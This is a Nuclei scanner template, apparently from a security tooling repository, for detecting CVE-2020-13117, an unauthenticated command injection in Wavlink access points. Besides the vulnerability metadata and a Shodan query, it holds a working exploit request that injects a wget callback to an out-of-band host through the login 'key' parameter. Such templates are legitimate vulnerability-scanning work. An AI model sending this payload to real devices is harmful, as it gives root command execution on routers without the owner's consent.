60 lines
2.4 KiB
YAML
60 lines
2.4 KiB
YAML
id: CVE-2020-13117
|
|
|
|
info:
|
|
name: Wavlink Multiple AP - Remote Command Injection
|
|
author: gy741
|
|
severity: critical
|
|
description: Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may also be affected.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the affected device.
|
|
remediation: |
|
|
Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
|
|
reference:
|
|
- https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13117
|
|
- https://github.com/20142995/sectool
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
- https://github.com/ARPSyndicate/kenzer-templates
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2020-13117
|
|
cwe-id: CWE-77
|
|
epss-score: 0.09416
|
|
epss-percentile: 0.94709
|
|
cpe: cpe:2.3:h:wavlink:wn575a4:-:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: wavlink
|
|
product: wn575a4
|
|
shodan-query: http.title:"Wi-Fi APP Login"
|
|
tags: cve,cve2020,wavlink,rce,oast,router
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /cgi-bin/login.cgi HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: http://{{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Accept-Encoding: gzip, deflate
|
|
|
|
newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "parent.location.replace"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502202b225f0187a717218d847a35667f4ff5d428a737cab684bf9de67b2ca0baadfc0221009b3f8d05d5e46a2c3ea0a47cb90996367471d4fd0a11e620afad2fcf1cb40259:922c64590222798bb761d5b6d8e72950 |